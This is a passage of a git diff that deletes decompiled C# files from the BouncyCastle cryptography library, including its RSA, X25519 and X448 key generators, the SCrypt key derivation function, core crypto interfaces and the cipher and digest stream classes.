(bigInteger.SignValue == 0 || bigInteger.Equals(BigInteger.One) || !bigInteger2.Equals(BigInteger.One)); - return bigInteger; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/RsaKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/RsaKeyPairGenerator.cs deleted file mode 100644 index 61a3419..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/RsaKeyPairGenerator.cs +++ /dev/null @@ -1,105 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class RsaKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - protected const int DefaultTests = 100; - - private static readonly int[] SPECIAL_E_VALUES = new int[5] { 3, 5, 17, 257, 65537 }; - - private static readonly int SPECIAL_E_HIGHEST = SPECIAL_E_VALUES[SPECIAL_E_VALUES.Length - 1]; - - private static readonly int SPECIAL_E_BITS = BigInteger.ValueOf(SPECIAL_E_HIGHEST).BitLength; - - protected static readonly BigInteger One = BigInteger.One; - - protected static readonly BigInteger DefaultPublicExponent = BigInteger.ValueOf(65537L); - - protected RsaKeyGenerationParameters parameters; - - public virtual void Init(KeyGenerationParameters parameters) - { - if (parameters is RsaKeyGenerationParameters) - { - this.parameters = (RsaKeyGenerationParameters)parameters; - } - else - { - this.parameters = new RsaKeyGenerationParameters(DefaultPublicExponent, parameters.Random, parameters.Strength, 100); - } - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - int num2; - BigInteger publicExponent; - BigInteger bigInteger; - BigInteger bigInteger2; - BigInteger bigInteger4; - BigInteger bigInteger6; - BigInteger bigInteger7; - BigInteger bigInteger8; - do - { - int strength = parameters.Strength; - int num = (strength + 1) / 2; - num2 = strength - num; - int num3 = strength / 3; - int num4 = strength >> 2; - publicExponent = parameters.PublicExponent; - bigInteger = ChooseRandomPrime(num, publicExponent); - while (true) - { - bigInteger2 = ChooseRandomPrime(num2, publicExponent); - BigInteger bigInteger3 = bigInteger2.Subtract(bigInteger).Abs(); - if (bigInteger3.BitLength < num3) - { - continue; - } - bigInteger4 = bigInteger.Multiply(bigInteger2); - if (bigInteger4.BitLength != strength) - { - bigInteger = bigInteger.Max(bigInteger2); - continue; - } - if (WNafUtilities.GetNafWeight(bigInteger4) >= num4) - { - break; - } - bigInteger = ChooseRandomPrime(num, publicExponent); - } - if (bigInteger.CompareTo(bigInteger2) < 0) - { - BigInteger bigInteger5 = bigInteger; - bigInteger = bigInteger2; - bigInteger2 = bigInteger5; - } - bigInteger6 = bigInteger.Subtract(One); - bigInteger7 = bigInteger2.Subtract(One); - BigInteger val = bigInteger6.Gcd(bigInteger7); - BigInteger m = bigInteger6.Divide(val).Multiply(bigInteger7); - bigInteger8 = publicExponent.ModInverse(m); - } - while (bigInteger8.BitLength <= num2); - BigInteger dP = bigInteger8.Remainder(bigInteger6); - BigInteger dQ = bigInteger8.Remainder(bigInteger7); - BigInteger qInv = bigInteger2.ModInverse(bigInteger); - return new AsymmetricCipherKeyPair(new RsaKeyParameters(isPrivate: false, bigInteger4, publicExponent), new RsaPrivateCrtKeyParameters(bigInteger4, publicExponent, bigInteger8, bigInteger, bigInteger2, dP, dQ, qInv)); - } - - protected virtual BigInteger ChooseRandomPrime(int bitlength, BigInteger e) - { - bool flag = e.BitLength <= SPECIAL_E_BITS && Arrays.Contains(SPECIAL_E_VALUES, e.IntValue); - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(bitlength, 1, parameters.Random); - } - while (bigInteger.Mod(e).Equals(One) || !bigInteger.IsProbablePrime(parameters.Certainty, randomlySelected: true) || (!flag && !e.Gcd(bigInteger.Subtract(One)).Equals(One))); - return bigInteger; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/SCrypt.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/SCrypt.cs deleted file mode 100644 index b04c93e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/SCrypt.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class SCrypt -{ - public static byte[] Generate(byte[] P, byte[] S, int N, int r, int p, int dkLen) - { - if (P == null) - { - throw new ArgumentNullException("Passphrase P must be provided."); - } - if (S == null) - { - throw new ArgumentNullException("Salt S must be provided."); - } - if (N <= 1 || !IsPowerOf2(N)) - { - throw new ArgumentException("Cost parameter N must be > 1 and a power of 2."); - } - if (r == 1 && N >= 65536) - { - throw new ArgumentException("Cost parameter N must be > 1 and < 65536."); - } - if (r < 1) - { - throw new ArgumentException("Block size r must be >= 1."); - } - int num = int.MaxValue / (128 * r * 8); - if (p < 1 || p > num) - { - throw new ArgumentException("Parallelisation parameter p must be >= 1 and <= " + num + " (based on block size r of " + r + ")"); - } - if (dkLen < 1) - { - throw new ArgumentException("Generated key length dkLen must be >= 1."); - } - return MFcrypt(P, S, N, r, p, dkLen); - } - - private static byte[] MFcrypt(byte[] P, byte[] S, int N, int r, int p, int dkLen) - { - int num = r * 128; - byte[] array = SingleIterationPBKDF2(P, S, p * num); - uint[] array2 = null; - try - { - int num2 = array.Length >> 2; - array2 = new uint[num2]; - Pack.LE_To_UInt32(array, 0, array2); - int num3 = num >> 2; - for (int i = 0; i < num2; i += num3) - { - SMix(array2, i, N, r); - } - Pack.UInt32_To_LE(array2, array, 0); - return SingleIterationPBKDF2(P, array, dkLen); - } - finally - { - ClearAll(array, array2); - } - } - - private static byte[] SingleIterationPBKDF2(byte[] P, byte[] S, int dkLen) - { - PbeParametersGenerator pbeParametersGenerator = new Pkcs5S2ParametersGenerator(new Sha256Digest()); - pbeParametersGenerator.Init(P, S, 1); - KeyParameter keyParameter = (KeyParameter)pbeParametersGenerator.GenerateDerivedMacParameters(dkLen * 8); - return keyParameter.GetKey(); - } - - private static void SMix(uint[] B, int BOff, int N, int r) - { - int num = r * 32; - uint[] array = new uint[16]; - uint[] array2 = new uint[16]; - uint[] array3 = new uint[num]; - uint[] array4 = new uint[num]; - uint[][] array5 = new uint[N][]; - try - { - Array.Copy(B, BOff, array4, 0, num); - for (int i = 0; i < N; i++) - { - array5[i] = (uint[])array4.Clone(); - BlockMix(array4, array, array2, array3, r); - } - uint num2 = (uint)(N - 1); - for (int j = 0; j < N; j++) - { - uint num3 = array4[num - 16] & num2; - Xor(array4, array5[num3], 0, array4); - BlockMix(array4, array, array2, array3, r); - } - Array.Copy(array4, 0, B, BOff, num); - } - finally - { - ClearAll(array5); - ClearAll(array4, array, array2, array3); - } - } - - private static void BlockMix(uint[] B, uint[] X1, uint[] X2, uint[] Y, int r) - { - Array.Copy(B, B.Length - 16, X1, 0, 16); - int num = 0; - int num2 = 0; - int num3 = B.Length >> 1; - for (int num4 = 2 * r; num4 > 0; num4--) - { - Xor(X1, B, num, X2); - Salsa20Engine.SalsaCore(8, X2, X1); - Array.Copy(X1, 0, Y, num2, 16); - num2 = num3 + num - num2; - num += 16; - } - Array.Copy(Y, 0, B, 0, Y.Length); - } - - private static void Xor(uint[] a, uint[] b, int bOff, uint[] output) - { - for (int num = output.Length - 1; num >= 0; num--) - { - output[num] = a[num] ^ b[bOff + num]; - } - } - - private static void Clear(Array array) - { - if (array != null) - { - Array.Clear(array, 0, array.Length); - } - } - - private static void ClearAll(params Array[] arrays) - { - foreach (Array array in arrays) - { - Clear(array); - } - } - - private static bool IsPowerOf2(int x) - { - return (x & (x - 1)) == 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/X25519KeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/X25519KeyPairGenerator.cs deleted file mode 100644 index 2fc44d2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/X25519KeyPairGenerator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class X25519KeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private SecureRandom random; - - public virtual void Init(KeyGenerationParameters parameters) - { - random = parameters.Random; - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - X25519PrivateKeyParameters x25519PrivateKeyParameters = new X25519PrivateKeyParameters(random); - X25519PublicKeyParameters publicParameter = x25519PrivateKeyParameters.GeneratePublicKey(); - return new AsymmetricCipherKeyPair(publicParameter, x25519PrivateKeyParameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/X448KeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/X448KeyPairGenerator.cs deleted file mode 100644 index f71e61d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/X448KeyPairGenerator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class X448KeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private SecureRandom random; - - public virtual void Init(KeyGenerationParameters parameters) - { - random = parameters.Random; - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - X448PrivateKeyParameters x448PrivateKeyParameters = new X448PrivateKeyParameters(random); - X448PublicKeyParameters publicParameter = x448PrivateKeyParameters.GeneratePublicKey(); - return new AsymmetricCipherKeyPair(publicParameter, x448PrivateKeyParameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IAsymmetricBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IAsymmetricBlockCipher.cs deleted file mode 100644 index 5062e1a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IAsymmetricBlockCipher.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IAsymmetricBlockCipher -{ - string AlgorithmName { get; } - - void Init(bool forEncryption, ICipherParameters parameters); - - int GetInputBlockSize(); - - int GetOutputBlockSize(); - - byte[] ProcessBlock(byte[] inBuf, int inOff, int inLen); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IAsymmetricCipherKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IAsymmetricCipherKeyPairGenerator.cs deleted file mode 100644 index 8db8d7d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IAsymmetricCipherKeyPairGenerator.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IAsymmetricCipherKeyPairGenerator -{ - void Init(KeyGenerationParameters parameters); - - AsymmetricCipherKeyPair GenerateKeyPair(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBasicAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBasicAgreement.cs deleted file mode 100644 index 7551758..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBasicAgreement.cs +++ /dev/null @@ -1,12 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto; - -public interface IBasicAgreement -{ - void Init(ICipherParameters parameters); - - int GetFieldSize(); - - BigInteger CalculateAgreement(ICipherParameters pubKey); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBlockCipher.cs deleted file mode 100644 index 7bda57e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBlockCipher.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IBlockCipher -{ - string AlgorithmName { get; } - - bool IsPartialBlockOkay { get; } - - void Init(bool forEncryption, ICipherParameters parameters); - - int GetBlockSize(); - - int ProcessBlock(byte[] inBuf, int inOff, byte[] outBuf, int outOff); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBlockResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBlockResult.cs deleted file mode 100644 index 0c269e7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBlockResult.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IBlockResult -{ - byte[] Collect(); - - int Collect(byte[] destination, int offset); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBufferedCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBufferedCipher.cs deleted file mode 100644 index ed565b3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IBufferedCipher.cs +++ /dev/null @@ -1,40 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IBufferedCipher -{ - string AlgorithmName { get; } - - void Init(bool forEncryption, ICipherParameters parameters); - - int GetBlockSize(); - - int GetOutputSize(int inputLen); - - int GetUpdateOutputSize(int inputLen); - - byte[] ProcessByte(byte input); - - int ProcessByte(byte input, byte[] output, int outOff); - - byte[] ProcessBytes(byte[] input); - - byte[] ProcessBytes(byte[] input, int inOff, int length); - - int ProcessBytes(byte[] input, byte[] output, int outOff); - - int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff); - - byte[] DoFinal(); - - byte[] DoFinal(byte[] input); - - byte[] DoFinal(byte[] input, int inOff, int length); - - int DoFinal(byte[] output, int outOff); - - int DoFinal(byte[] input, byte[] output, int outOff); - - int DoFinal(byte[] input, int inOff, int length, byte[] output, int outOff); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipher.cs deleted file mode 100644 index 6fea2a4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipher.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto; - -public interface ICipher -{ - Stream Stream { get; } - - int GetMaxOutputSize(int inputLen); - - int GetUpdateOutputSize(int inputLen); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherBuilder.cs deleted file mode 100644 index 0c4ec54..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherBuilder.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto; - -public interface ICipherBuilder -{ - object AlgorithmDetails { get; } - - int GetMaxOutputSize(int inputLen); - - ICipher BuildCipher(Stream stream); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherBuilderWithKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherBuilderWithKey.cs deleted file mode 100644 index 9bbaebd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherBuilderWithKey.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface ICipherBuilderWithKey : ICipherBuilder -{ - ICipherParameters Key { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherParameters.cs deleted file mode 100644 index a3fb775..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ICipherParameters.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface ICipherParameters -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDecryptorBuilderProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDecryptorBuilderProvider.cs deleted file mode 100644 index 6a43fed..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDecryptorBuilderProvider.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IDecryptorBuilderProvider -{ - ICipherBuilder CreateDecryptorBuilder(object algorithmDetails); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDerivationFunction.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDerivationFunction.cs deleted file mode 100644 index a6ea275..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDerivationFunction.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IDerivationFunction -{ - IDigest Digest { get; } - - void Init(IDerivationParameters parameters); - - int GenerateBytes(byte[] output, int outOff, int length); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDerivationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDerivationParameters.cs deleted file mode 100644 index 7625387..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDerivationParameters.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IDerivationParameters -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDigest.cs deleted file mode 100644 index c41bd08..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDigest.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IDigest -{ - string AlgorithmName { get; } - - int GetDigestSize(); - - int GetByteLength(); - - void Update(byte input); - - void BlockUpdate(byte[] input, int inOff, int length); - - int DoFinal(byte[] output, int outOff); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDsa.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDsa.cs deleted file mode 100644 index a41cb8a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDsa.cs +++ /dev/null @@ -1,14 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto; - -public interface IDsa -{ - string AlgorithmName { get; } - - void Init(bool forSigning, ICipherParameters parameters); - - BigInteger[] GenerateSignature(byte[] message); - - bool VerifySignature(byte[] message, BigInteger r, BigInteger s); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDsaExt.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDsaExt.cs deleted file mode 100644 index 8bda6ee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IDsaExt.cs +++ /dev/null @@ -1,8 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto; - -public interface IDsaExt : IDsa -{ - BigInteger Order { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IEntropySource.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IEntropySource.cs deleted file mode 100644 index 9bb1f2f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IEntropySource.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IEntropySource -{ - bool IsPredictionResistant { get; } - - int EntropySize { get; } - - byte[] GetEntropy(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IEntropySourceProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IEntropySourceProvider.cs deleted file mode 100644 index d7762c7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IEntropySourceProvider.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IEntropySourceProvider -{ - IEntropySource Get(int bitsRequired); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IKeyUnwrapper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IKeyUnwrapper.cs deleted file mode 100644 index 51b1950..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IKeyUnwrapper.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IKeyUnwrapper -{ - object AlgorithmDetails { get; } - - IBlockResult Unwrap(byte[] cipherText, int offset, int length); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IKeyWrapper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IKeyWrapper.cs deleted file mode 100644 index f8a52fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IKeyWrapper.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IKeyWrapper -{ - object AlgorithmDetails { get; } - - IBlockResult Wrap(byte[] keyData); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IMac.cs deleted file mode 100644 index 96afedb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IMac.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IMac -{ - string AlgorithmName { get; } - - void Init(ICipherParameters parameters); - - int GetMacSize(); - - void Update(byte input); - - void BlockUpdate(byte[] input, int inOff, int len); - - int DoFinal(byte[] output, int outOff); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IMacFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IMacFactory.cs deleted file mode 100644 index 06ad026..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IMacFactory.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IMacFactory -{ - object AlgorithmDetails { get; } - - IStreamCalculator CreateCalculator(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/CipherStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/CipherStream.cs deleted file mode 100644 index edef225..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/CipherStream.cs +++ /dev/null @@ -1,214 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.IO; - -public class CipherStream : Stream -{ - internal Stream stream; - - internal IBufferedCipher inCipher; - - internal IBufferedCipher outCipher; - - private byte[] mInBuf; - - private int mInPos; - - private bool inStreamEnded; - - public IBufferedCipher ReadCipher => inCipher; - - public IBufferedCipher WriteCipher => outCipher; - - public override bool CanRead - { - get - { - if (stream.CanRead) - { - return inCipher != null; - } - return false; - } - } - - public override bool CanWrite - { - get - { - if (stream.CanWrite) - { - return outCipher != null; - } - return false; - } - } - - public override bool CanSeek => false; - - public sealed override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public sealed override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - public CipherStream(Stream stream, IBufferedCipher readCipher, IBufferedCipher writeCipher) - { - this.stream = stream; - if (readCipher != null) - { - inCipher = readCipher; - mInBuf = null; - } - if (writeCipher != null) - { - outCipher = writeCipher; - } - } - - public override int ReadByte() - { - if (inCipher == null) - { - return stream.ReadByte(); - } - if ((mInBuf == null || mInPos >= mInBuf.Length) && !FillInBuf()) - { - return -1; - } - return mInBuf[mInPos++]; - } - - public override int Read(byte[] buffer, int offset, int count) - { - if (inCipher == null) - { - return stream.Read(buffer, offset, count); - } - int i; - int num; - for (i = 0; i < count; i += num) - { - if ((mInBuf == null || mInPos >= mInBuf.Length) && !FillInBuf()) - { - break; - } - num = System.Math.Min(count - i, mInBuf.Length - mInPos); - Array.Copy(mInBuf, mInPos, buffer, offset + i, num); - mInPos += num; - } - return i; - } - - private bool FillInBuf() - { - if (inStreamEnded) - { - return false; - } - mInPos = 0; - do - { - mInBuf = ReadAndProcessBlock(); - } - while (!inStreamEnded && mInBuf == null); - return mInBuf != null; - } - - private byte[] ReadAndProcessBlock() - { - int blockSize = inCipher.GetBlockSize(); - int num = ((blockSize == 0) ? 256 : blockSize); - byte[] array = new byte[num]; - int num2 = 0; - do - { - int num3 = stream.Read(array, num2, array.Length - num2); - if (num3 < 1) - { - inStreamEnded = true; - break; - } - num2 += num3; - } - while (num2 < array.Length); - byte[] array2 = (inStreamEnded ? inCipher.DoFinal(array, 0, num2) : inCipher.ProcessBytes(array)); - if (array2 != null && array2.Length == 0) - { - array2 = null; - } - return array2; - } - - public override void Write(byte[] buffer, int offset, int count) - { - int num = offset + count; - if (outCipher == null) - { - stream.Write(buffer, offset, count); - return; - } - byte[] array = outCipher.ProcessBytes(buffer, offset, count); - if (array != null) - { - stream.Write(array, 0, array.Length); - } - } - - public override void WriteByte(byte b) - { - if (outCipher == null) - { - stream.WriteByte(b); - return; - } - byte[] array = outCipher.ProcessByte(b); - if (array != null) - { - stream.Write(array, 0, array.Length); - } - } - - public override void Close() - { - if (outCipher != null) - { - byte[] array = outCipher.DoFinal(); - stream.Write(array, 0, array.Length); - stream.Flush(); - } - Platform.Dispose(stream); - base.Close(); - } - - public override void Flush() - { - stream.Flush(); - } - - public sealed override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public sealed override void SetLength(long length) - { - throw new NotSupportedException(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/DigestSink.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/DigestSink.cs deleted file mode 100644 index 6e4c7fe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/DigestSink.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.IO; - -public class DigestSink : BaseOutputStream -{ - private readonly IDigest mDigest; - - public virtual IDigest Digest => mDigest; - - public DigestSink(IDigest digest) - { - mDigest = digest; - } - - public override void WriteByte(byte b) - { - mDigest.Update(b); - } - - public override void Write(byte[] buf, int off, int len) - { - if (len > 0) - { - mDigest.BlockUpdate(buf, off, len); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/DigestStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/DigestStream.cs deleted file mode 100644 index b8b7299..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/DigestStream.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.IO; - -public class DigestStream : Stream -{ - protected readonly Stream stream; - - protected readonly IDigest inDigest; - - protected readonly IDigest outDigest; - - public override bool CanRead => stream.CanRead; - - public override bool CanWrite => stream.CanWrite; - - public override bool CanSeek => stream.CanSeek; - - public override long Length => stream.Length; - - public override long Position - { - get - { - return stream.Position; - } - set - { - stream.Position = value; - } - } - - public DigestStream(Stream stream, IDigest readDigest, IDigest writeDigest) - { - this.stream = stream; - inDigest = readDigest; - outDigest = writeDigest; - } - - public virtual IDigest ReadDigest() - { - return inDigest; - } - - public virtual IDigest WriteDigest() - { - return outDigest; - } - - public override int Read(byte[] buffer, int offset, int count) - { - int num = stream.Read(buffer, offset, count); - if (inDigest != null && num > 0) - { - inDigest.BlockUpdate(buffer, offset, num); - } - return num; - } - - public override int ReadByte() - { - int num = stream.ReadByte(); - if (inDigest != null && num >= 0) - { - inDigest.Update((byte)num); - } - return num; - } - - public override void Write(byte[] buffer, int offset, int count) - { - if (outDigest != null && count > 0) - { - outDigest.BlockUpdate(buffer, offset, count); - } - stream.Write(buffer, offset, count); - } - - public override void WriteByte(byte b) - { - if (outDigest != null) - { - outDigest.Update(b); - } - stream.WriteByte(b); - } - - public override void Close() - { - Platform.Dispose(stream); - base.Close(); - } - - public override void Flush() - { - stream.Flush(); - } - - public override long Seek(long offset, SeekOrigin origin) - { - return stream.Seek(offset, origin); - } - - public override void SetLength(long length) - { - stream.SetLength(length); - } -} diff --git 